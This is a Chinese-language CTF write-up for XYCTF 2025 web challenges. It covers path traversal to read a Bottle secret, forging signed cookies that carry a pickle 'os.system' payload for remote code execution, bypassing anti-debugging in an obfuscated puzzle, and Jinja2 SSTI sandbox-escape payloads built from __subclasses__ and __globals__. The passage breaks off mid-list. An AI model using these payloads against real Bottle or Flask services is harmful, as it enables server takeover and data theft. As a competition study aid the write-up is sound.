​ 清明节不出去玩隔这打CTF坐牢来了属于,阴间CTF的musc web真是给我整麻了,XYCTF相比去年难度也涨了不少,我也没做几道题,比赛结束后还是整理,补一下题解吧,大佬轻喷

Signin

​ 一道不是那么签到的签到题

image-20250404230322070

​ 考点包括了代码审计,目录穿越,pickle反序列化

​ 首先下载题目附件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()

app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

​ 首先显然在/download路由存在任意文件读取,即使有一些过滤,通过./../的组合即可绕过。

​ 读取secret.txt

1
/download?filename=./.././../secret.txt

image-20250404231126696

1
Hell0_H@cker_Y0u_A3r_Sm@r7

​ 根据题目提示,此题需要RCE,但是乍一看没有什么RCE的点。

​ 那么便可关注一些函数内部实现是否可能存在漏洞点。

​ 对于此题,跟进bottle.request.get_cookie方法(在pycharm中通过双击get_cookie右键->转到->实现 来跟进)

image-20250404231547472

​ 可以注意到存在pickle.loads,且msg对我们来说可控,此处可以通过pickle反序列化来RCE

​ 根据测试,一个普通的cookie为这样的形式:

1
!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu

​ 简单分析一下这个get_cookie函数,首先传入key和secret,通过这个key来获取实际的value值(即cookie值),除去第一个感叹号,通过问号分隔,第一部分就是sig(校验部分),第二部分就是msg(信息部分),然后通过msg和secret判断sig是否正确来进行校验,校验通过即进入漏洞点。

​ 知道了漏洞点,就构造payload进行RCE了,pickle反序列化漏洞原理可参考:pickle反序列化漏洞基础知识与绕过简析

​ 这里选用一个最基础的payload:

1
2
3
4
cos
system
(S'ls / > /tmp/1.txt'
tR.

​ 现在跟进set_cookie函数观察如何构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
def set_cookie(
self, name, value, secret=None, digestmod=hashlib.sha256, **options
):
"""
Create a new cookie or replace an old one. If the `secret` parameter is
set, create a `Signed Cookie` (described below).

:param name: the name of the cookie.
:param value: the value of the cookie.
:param secret: a signature key required for signed cookies.

Additionally, this method accepts all RFC 2109 attributes that are
supported by :class:`cookie.Morsel`, including:

:param maxage: maximum age in seconds. (default: None)
:param expires: a datetime object or UNIX timestamp. (default: None)
:param domain: the domain that is allowed to read the cookie.
(default: current domain)
:param path: limits the cookie to a given path (default: current path)
:param secure: limit the cookie to HTTPS connections (default: off).
:param httponly: prevents client-side javascript to read this cookie
(default: off, requires Python 2.6 or newer).
:param samesite: Control or disable third-party use for this cookie.
Possible values: `lax`, `strict` or `none` (default).

If neither `expires` nor `maxage` is set (default), the cookie will
expire at the end of the browser session (as soon as the browser
window is closed).

Signed cookies may store any pickle-able object and are
cryptographically signed to prevent manipulation. Keep in mind that
cookies are limited to 4kb in most browsers.

Warning: Pickle is a potentially dangerous format. If an attacker
gains access to the secret key, he could forge cookies that execute
code on server side if unpickled. Using pickle is discouraged and
support for it will be removed in later versions of bottle.

Warning: Signed cookies are not encrypted (the client can still see
the content) and not copy-protected (the client can restore an old
cookie). The main intention is to make pickling and unpickling
save, not to store secret information at client side.
"""
if not self._cookies:
self._cookies = SimpleCookie()

# Monkey-patch Cookie lib to support 'SameSite' parameter
# https://tools.ietf.org/html/draft-west-first-party-cookies-07#section-4.1
if py < (3, 8, 0):
Morsel._reserved.setdefault('samesite', 'SameSite')

if secret:
if not isinstance(value, basestring):
depr(
0,
13,
"Pickling of arbitrary objects into cookies is deprecated.",
"Only store strings in cookies. JSON strings are fine, too."
)
encoded = base64.b64encode(pickle.dumps([name, value], -1))
sig = base64.b64encode(
hmac.new(tob(secret), encoded, digestmod=digestmod).digest()
)
value = touni(tob('!') + sig + tob('?') + encoded)
elif not isinstance(value, basestring):
raise TypeError('Secret key required for non-string cookies.')

# Cookie size plus options must not exceed 4kb.
if len(name) + len(value) > 3800:
raise ValueError('Content does not fit into a cookie.')

self._cookies[name] = value

for key, value in options.items():
if key in ('max_age', 'maxage'): # 'maxage' variant added in 0.13
key = 'max-age'
if isinstance(value, timedelta):
value = value.seconds + value.days * 24 * 3600
if key == 'expires':
value = http_date(value)
if key in ('same_site', 'samesite'): # 'samesite' variant added in 0.13
key, value = 'samesite', (value or "none").lower()
if value not in ('lax', 'strict', 'none'):
raise CookieError("Invalid value for SameSite")
if key in ('secure', 'httponly') and not value:
continue
self._cookies[name][key] = value

​ 代码比较长,但是很明显value就是最后生成的cookie,其中encoded就是msg部分,它应当我们经过base64编码后的payload,

sig则是通过secret和encoded生成的。

​ 首先将我们的payload进行base64得到encoded:

1
2
3
4
5
6
7
8
9
10
11
from bottle import response
import base64

if __name__== "__main__":
poc = b"""cos
system
(S'ls / > /tmp/1.txt'
tR."""
poc = base64.b64encode(poc)
print(poc)
# b'Y29zCnN5c3RlbQooUydscyAvID4gL3RtcC8xLnR4dCcKdFIu'

​ 最简单的方法就是直接修改一下set_cookie函数:

image-20250404233624354

​ 调用一下:

1
2
3
4
from bottle import response

if __name__== "__main__":
response.set_cookie("name","111",secret=secret)

image-20250404233952608

1
!wT81mihI9pGh6XuKnPBbJqZH8gAc3fYLNL59qgafrXg=?Y29zCnN5c3RlbQooUydscyAvID4gL3RtcC8xLnR4dCcKdFIu

​ 带着这个cookie去访问/secret路由后,再访问/download?filename=./.././../tmp/1.txt

image-20250404234555842

​ 同理再读取flag:

1
2
3
4
5
6
7
8
9
10
11
from bottle import response
import base64

if __name__== "__main__":
poc = b"""cos
system
(S'cat /flag_dda2d465-af33-4c56-8cc9-fd4306867b70 > /tmp/2.txt'
tR."""
poc = base64.b64encode(poc)
print(poc)
# b'Y29zCnN5c3RlbQooUydjYXQgL2ZsYWdfZGRhMmQ0NjUtYWYzMy00YzU2LThjYzktZmQ0MzA2ODY3YjcwID4gL3RtcC8yLnR4dCcKdFIu'

​ 构造出cookie:

image-20250404234727961

1
!syU2tJNdRu/4e/dXwit1WZjHP5cS+uy2vdaUofhqLz0=?Y29zCnN5c3RlbQooUydjYXQgL2ZsYWdfZGRhMmQ0NjUtYWYzMy00YzU2LThjYzktZmQ0MzA2ODY3YjcwID4gL3RtcC8yLnR4dCcKdFIu

​ 读取flag:

image-20250404234812772

1
flag{We1c0me_t0_XYCTF_2o25!The_secret_1s_L@men7XU_L0v3_u!}

ez_puzzle

image-20250407150010176

​ 进入题目环境是一个拼图游戏,提示说两秒内完成就给flag,尝试打开开发者工具

image-20250407150150681

​ 手动点击浏览器右上角三个点打开就行

image-20250407150239078

​ 简单测试一下,发现即使完成了拼图游戏,也并没有发现网络请求,那么flag很有可能是本地生成的

image-20250407150551453

​ 看一下js代码,经过了混淆处理,不太好分析,在最后弹窗提示了我们挑战失败,全局搜索一下alert

image-20250407150913402

​ 在if语句打一个断点

​ 诶呀,有debugger阻止调试

image-20250407151047648

​ 右键添加到脚本忽略列表就行,让js代码接着往下走

​ 在此处断住了

image-20250407151222100

​ 控制台调用一下看看

image-20250407151329553

image-20250407151413455

1
flag{Y0u__aRe_a_mAsteR_of_PUzZL!!@!!~!}

Now you see me 1

image-20250407152045552

​ 下载附件得到代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2024/12/27 18:27:15
@Author : LamentXU

运行,然后你会发现启动了一个flask服务。这是怎么做到的呢?
注:本题为彻底的白盒题,服务端代码与附件中的代码一模一样。不用怀疑附件的真实性。
'''
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!") ;exec(__import__("base64").b64decode('IyBZT1UgRk9VTkQgTUUgOykKIyAtKi0gZW5jb2Rpbmc6IHV0Zi04IC0qLQonJycKQEZpbGUgICAgOiAgIHNyYy5weQpAVGltZSAgICA6ICAgMjAyNS8wMy8yOSAwMToxMDozNwpAQXV0aG9yICA6ICAgTGFtZW50WFUgCicnJwppbXBvcnQgZmxhc2sKaW1wb3J0IHN5cwplbmFibGVfaG9vayA9ICBGYWxzZQpjb3VudGVyID0gMApkZWYgYXVkaXRfY2hlY2tlcihldmVudCxhcmdzKToKICAgIGdsb2JhbCBjb3VudGVyCiAgICBpZiBlbmFibGVfaG9vazoKICAgICAgICBpZiBldmVudCBpbiBbImV4ZWMiLCAiY29tcGlsZSJdOgogICAgICAgICAgICBjb3VudGVyICs9IDEKICAgICAgICAgICAgaWYgY291bnRlciA+IDQ6CiAgICAgICAgICAgICAgICByYWlzZSBSdW50aW1lRXJyb3IoZXZlbnQpCgpsb2NrX3dpdGhpbiA9IFsKICAgICJkZWJ1ZyIsICJmb3JtIiwgImFyZ3MiLCAidmFsdWVzIiwgCiAgICAiaGVhZGVycyIsICJqc29uIiwgInN0cmVhbSIsICJlbnZpcm9uIiwKICAgICJmaWxlcyIsICJtZXRob2QiLCAiY29va2llcyIsICJhcHBsaWNhdGlvbiIsIAogICAgJ2RhdGEnLCAndXJsJyAsJ1wnJywgJyInLCAKICAgICJnZXRhdHRyIiwgIl8iLCAie3siLCAifX0iLCAKICAgICJbIiwgIl0iLCAiXFwiLCAiLyIsInNlbGYiLCAKICAgICJsaXBzdW0iLCAiY3ljbGVyIiwgImpvaW5lciIsICJuYW1lc3BhY2UiLCAKICAgICJpbml0IiwgImRpciIsICJqb2luIiwgImRlY29kZSIsIAogICAgImJhdGNoIiwgImZpcnN0IiwgImxhc3QiICwgCiAgICAiICIsImRpY3QiLCJsaXN0IiwiZy4iLAogICAgIm9zIiwgInN1YnByb2Nlc3MiLAogICAgImd8YSIsICJHTE9CQUxTIiwgImxvd2VyIiwgInVwcGVyIiwKICAgICJCVUlMVElOUyIsICJzZWxlY3QiLCAiV0hPQU1JIiwgInBhdGgiLAogICAgIm9zIiwgInBvcGVuIiwgImNhdCIsICJubCIsICJhcHAiLCAic2V0YXR0ciIsICJ0cmFuc2xhdGUiLAogICAgInNvcnQiLCAiYmFzZTY0IiwgImVuY29kZSIsICJcXHUiLCAicG9wIiwgInJlZmVyZXIiLAogICAgIlRoZSBjbG9zZXIgeW91IHNlZSwgdGhlIGxlc3NlciB5b3UgZmluZC4iXSAKICAgICAgICAjIEkgaGF0ZSBhbGwgdGhlc2UuCmFwcCA9IGZsYXNrLkZsYXNrKF9fbmFtZV9fKQpAYXBwLnJvdXRlKCcvJykKZGVmIGluZGV4KCk6CiAgICByZXR1cm4gJ3RyeSAvSDNkZGVuX3JvdXRlJwpAYXBwLnJvdXRlKCcvSDNkZGVuX3JvdXRlJykKZGVmIHIzYWxfaW5zMWRlX3RoMHVnaHQoKToKICAgIGdsb2JhbCBlbmFibGVfaG9vaywgY291bnRlcgogICAgbmFtZSA9IGZsYXNrLnJlcXVlc3QuYXJncy5nZXQoJ015X2luczFkZV93MHIxZCcpCiAgICBpZiBuYW1lOgogICAgICAgIHRyeToKICAgICAgICAgICAgaWYgbmFtZS5zdGFydHN3aXRoKCJGb2xsb3cteW91ci1oZWFydC0iKToKICAgICAgICAgICAgICAgIGZvciBpIGluIGxvY2tfd2l0aGluOgogICAgICAgICAgICAgICAgICAgIGlmIGkgaW4gbmFtZToKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICdOT1BFLicKICAgICAgICAgICAgICAgIGVuYWJsZV9ob29rID0gVHJ1ZQogICAgICAgICAgICAgICAgYSA9IGZsYXNrLnJlbmRlcl90ZW1wbGF0ZV9zdHJpbmcoJ3sjJytmJ3tuYW1lfScrJyN9JykKICAgICAgICAgICAgICAgIGVuYWJsZV9ob29rID0gRmFsc2UKICAgICAgICAgICAgICAgIGNvdW50ZXIgPSAwCiAgICAgICAgICAgICAgICByZXR1cm4gYQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgcmV0dXJuICdNeSBpbnNpZGUgd29ybGQgaXMgYWx3YXlzIGhpZGRlbi4nCiAgICAgICAgZXhjZXB0IFJ1bnRpbWVFcnJvciBhcyBlOgogICAgICAgICAgICBjb3VudGVyID0gMAogICAgICAgICAgICByZXR1cm4gJ05PLicKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgIHJldHVybiAnRXJyb3InCiAgICBlbHNlOgogICAgICAgIHJldHVybiAnV2VsY29tZSB0byBIaWRkZW5fcm91dGUhJwoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIGltcG9ydCBvcwogICAgdHJ5OgogICAgICAgIGltcG9ydCBfcG9zaXhzdWJwcm9jZXNzCiAgICAgICAgZGVsIF9wb3NpeHN1YnByb2Nlc3MuZm9ya19leGVjCiAgICBleGNlcHQ6CiAgICAgICAgcGFzcwogICAgaW1wb3J0IHN1YnByb2Nlc3MKICAgIGRlbCBvcy5wb3BlbgogICAgZGVsIG9zLnN5c3RlbQogICAgZGVsIHN1YnByb2Nlc3MuUG9wZW4KICAgIGRlbCBzdWJwcm9jZXNzLmNhbGwKICAgIGRlbCBzdWJwcm9jZXNzLnJ1bgogICAgZGVsIHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0CiAgICBkZWwgc3VicHJvY2Vzcy5nZXRvdXRwdXQKICAgIGRlbCBzdWJwcm9jZXNzLmNoZWNrX2NhbGwKICAgIGRlbCBzdWJwcm9jZXNzLmdldHN0YXR1c291dHB1dAogICAgZGVsIHN1YnByb2Nlc3MuUElQRQogICAgZGVsIHN1YnByb2Nlc3MuU1RET1VUCiAgICBkZWwgc3VicHJvY2Vzcy5DYWxsZWRQcm9jZXNzRXJyb3IKICAgIGRlbCBzdWJwcm9jZXNzLlRpbWVvdXRFeHBpcmVkCiAgICBkZWwgc3VicHJvY2Vzcy5TdWJwcm9jZXNzRXJyb3IKICAgIHN5cy5hZGRhdWRpdGhvb2soYXVkaXRfY2hlY2tlcikKICAgIGFwcC5ydW4oZGVidWc9RmFsc2UsIGhvc3Q9JzAuMC4wLjAnLCBwb3J0PTUwMDApCg=='))
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")
print("Hello, world!")

​ 中间有一部分base64编码,解码得到实际源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)

lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)

​ 很明显,flask.render_template_string处存在ssti模板注入,但是lock_within过滤了很多东西,同时还有audit_checker钩子函数,以及del掉了很多命令执行函数

​ 传入参数需要是Follow-your-heart-开头,在flask.render_template_string中还存在#注释,因此传入

1
?My_ins1de_w0r1d=Follow-your-heart-#}{#

​ 绕过注释(注意此处可能需要将#替换为%23)

{{`与`}}被过滤,用{%print(xxxxx)%}代替

​ 可以进行一个传参测试:

1
?My_ins1de_w0r1d=Follow-your-heart-%23}{%print(config)%}{%23

image-20250406180230579

​ 很多关键词,字符都被过滤了

​ 经过测试发现,request.mimetyperequest.authorization.typerequest.authorization.tokenrequest.originrequest.referrer这几个方法可用,且可以自定义传入数据

​ 在构造正式payload前,可以先本地起一个没有lock_within过滤的环境(需要linux环境,windows环境可能有区别),测试不会触发构造函数的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
print(f"counter= {counter}")
raise RuntimeError(event)

lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
#lock_within = []
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

@app.route('/test')
def test():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in []:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
print(str(e))
return 'NO.'
except Exception as e:
print(str(e))
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)

​ 经过测试,我们本次选择<class 'click.utils.LazyFile'>类,其他选择可参考:python 沙箱逃逸与SSTI ~ Misaki’s Blog

​ 经过测试

1
#}{%print(().__class__.__base__.__subclasses__()[389].__init__.__globals__.__getitem__('__builtins__').eval('print(1)'))%}{#

​ 可行

​ 这个389可以先访问获取().__class__.__base__.__subclasses__()后,使用脚本找:

1
2
3
4
5
6
a = ["<class 'type'>", "<class 'async_generator'>", "<class 'int'>", "<class 'bytearray_iterator'>", "<class 'bytearray'>", "<class 'bytes_iterator'>", "<class 'bytes'>", "<class 'builtin_function_or_method'>", "<class 'callable_iterator'>", "<class 'PyCapsule'>", "<class 'cell'>", "<class 'classmethod_descriptor'>", "<class 'classmethod'>", "<class 'code'>", "<class 'complex'>", "<class 'coroutine'>", "<class 'dict_items'>", "<class 'dict_itemiterator'>", "<class 'dict_keyiterator'>", "<class 'dict_valueiterator'>", "<class 'dict_keys'>", "<class 'mappingproxy'>", "<class 'dict_reverseitemiterator'>", "<class 'dict_reversekeyiterator'>", "<class 'dict_reversevalueiterator'>", "<class 'dict_values'>", "<class 'dict'>", "<class 'ellipsis'>", "<class 'enumerate'>", "<class 'float'>", "<class 'frame'>", "<class 'frozenset'>", "<class 'function'>", "<class 'generator'>", "<class 'getset_descriptor'>", "<class 'instancemethod'>", "<class 'list_iterator'>", "<class 'list_reverseiterator'>", "<class 'list'>", "<class 'longrange_iterator'>", "<class 'member_descriptor'>", "<class 'memoryview'>", "<class 'method_descriptor'>", "<class 'method'>", "<class 'moduledef'>", "<class 'module'>", "<class 'odict_iterator'>", "<class 'pickle.PickleBuffer'>", "<class 'property'>", "<class 'range_iterator'>", "<class 'range'>", "<class 'reversed'>", "<class 'symtable entry'>", "<class 'iterator'>", "<class 'set_iterator'>", "<class 'set'>", "<class 'slice'>", "<class 'staticmethod'>", "<class 'stderrprinter'>", "<class 'super'>", "<class 'traceback'>", "<class 'tuple_iterator'>", "<class 'tuple'>", "<class 'str_iterator'>", "<class 'str'>", "<class 'wrapper_descriptor'>", "<class 'types.GenericAlias'>", "<class 'anext_awaitable'>", "<class 'async_generator_asend'>", "<class 'async_generator_athrow'>", "<class 'async_generator_wrapped_value'>", "<class 'coroutine_wrapper'>", "<class 'InterpreterID'>", "<class 'managedbuffer'>", "<class 'method-wrapper'>", "<class 'types.SimpleNamespace'>", "<class 'NoneType'>", "<class 'NotImplementedType'>", "<class 'weakcallableproxy'>", "<class 'weakproxy'>", "<class 'weakref'>", "<class 'types.UnionType'>", "<class 'EncodingMap'>", "<class 'fieldnameiterator'>", "<class 'formatteriterator'>", "<class 'BaseException'>", "<class 'hamt'>", "<class 'hamt_array_node'>", "<class 'hamt_bitmap_node'>", "<class 'hamt_collision_node'>", "<class 'keys'>", "<class 'values'>", "<class 'items'>", "<class '_contextvars.Context'>", "<class '_contextvars.ContextVar'>", "<class '_contextvars.Token'>", "<class 'Token.MISSING'>", "<class 'filter'>", "<class 'map'>", "<class 'zip'>", "<class '_frozen_importlib._ModuleLock'>", "<class '_frozen_importlib._DummyModuleLock'>", "<class '_frozen_importlib._ModuleLockManager'>", "<class '_frozen_importlib.ModuleSpec'>", "<class '_frozen_importlib.BuiltinImporter'>", "<class '_frozen_importlib.FrozenImporter'>", "<class '_frozen_importlib._ImportLockContext'>", "<class '_thread.lock'>", "<class '_thread.RLock'>", "<class '_thread._localdummy'>", "<class '_thread._local'>", "<class '_io._IOBase'>", "<class '_io._BytesIOBuffer'>", "<class '_io.IncrementalNewlineDecoder'>", "<class 'nt.ScandirIterator'>", "<class 'nt.DirEntry'>", "<class 'PyHKEY'>", "<class '_frozen_importlib_external.WindowsRegistryFinder'>", "<class '_frozen_importlib_external._LoaderBasics'>", "<class '_frozen_importlib_external.FileLoader'>", "<class '_frozen_importlib_external._NamespacePath'>", "<class '_frozen_importlib_external._NamespaceLoader'>", "<class '_frozen_importlib_external.PathFinder'>", "<class '_frozen_importlib_external.FileFinder'>", "<class 'codecs.Codec'>", "<class 'codecs.IncrementalEncoder'>", "<class 'codecs.IncrementalDecoder'>", "<class 'codecs.StreamReaderWriter'>", "<class 'codecs.StreamRecoder'>", "<class '_multibytecodec.MultibyteCodec'>", "<class '_multibytecodec.MultibyteIncrementalEncoder'>", "<class '_multibytecodec.MultibyteIncrementalDecoder'>", "<class '_multibytecodec.MultibyteStreamReader'>", "<class '_multibytecodec.MultibyteStreamWriter'>", "<class '_abc._abc_data'>", "<class 'abc.ABC'>", "<class 'collections.abc.Hashable'>", "<class 'collections.abc.Awaitable'>", "<class 'collections.abc.AsyncIterable'>", "<class 'collections.abc.Iterable'>", "<class 'collections.abc.Sized'>", "<class 'collections.abc.Container'>", "<class 'collections.abc.Callable'>", "<class 'os._wrap_close'>", "<class 'os._AddedDllDirectory'>", "<class '_sitebuiltins.Quitter'>", "<class '_sitebuiltins._Printer'>", "<class '_sitebuiltins._Helper'>", "<class '_distutils_hack._TrivialRe'>", "<class '_distutils_hack.DistutilsMetaFinder'>", "<class '_distutils_hack.shim'>", "<class 'types.DynamicClassAttribute'>", "<class 'types._GeneratorWrapper'>", "<class 'warnings.WarningMessage'>", "<class 'warnings.catch_warnings'>", "<class 'importlib._abc.Loader'>", "<class 'itertools.accumulate'>", "<class 'itertools.combinations'>", "<class 'itertools.combinations_with_replacement'>", "<class 'itertools.cycle'>", "<class 'itertools.dropwhile'>", "<class 'itertools.takewhile'>", "<class 'itertools.islice'>", "<class 'itertools.starmap'>", "<class 'itertools.chain'>", "<class 'itertools.compress'>", "<class 'itertools.filterfalse'>", "<class 'itertools.count'>", "<class 'itertools.zip_longest'>", "<class 'itertools.pairwise'>", "<class 'itertools.permutations'>", "<class 'itertools.product'>", "<class 'itertools.repeat'>", "<class 'itertools.groupby'>", "<class 'itertools._grouper'>", "<class 'itertools._tee'>", "<class 'itertools._tee_dataobject'>", "<class 'operator.attrgetter'>", "<class 'operator.itemgetter'>", "<class 'operator.methodcaller'>", "<class 'reprlib.Repr'>", "<class 'collections.deque'>", "<class '_collections._deque_iterator'>", "<class '_collections._deque_reverse_iterator'>", "<class '_collections._tuplegetter'>", "<class 'collections._Link'>", "<class 'functools.partial'>", "<class 'functools._lru_cache_wrapper'>", "<class 'functools.KeyWrapper'>", "<class 'functools._lru_list_elem'>", "<class 'functools.partialmethod'>", "<class 'functools.singledispatchmethod'>", "<class 'functools.cached_property'>", "<class 'contextlib.ContextDecorator'>", "<class 'contextlib.AsyncContextDecorator'>", "<class 'contextlib._GeneratorContextManagerBase'>", "<class 'contextlib._BaseExitStack'>", "<class '__future__._Feature'>", "<class 'enum.auto'>", "<enum 'Enum'>", "<class 're.Pattern'>", "<class 're.Match'>", "<class '_sre.SRE_Scanner'>", "<class 'sre_parse.State'>", "<class 'sre_parse.SubPattern'>", "<class 'sre_parse.Tokenizer'>", "<class 're.Scanner'>", "<class 'typing._Final'>", "<class 'typing._Immutable'>", "<class 'typing._TypeVarLike'>", "<class 'typing.Generic'>", "<class 'typing._TypingEmpty'>", "<class 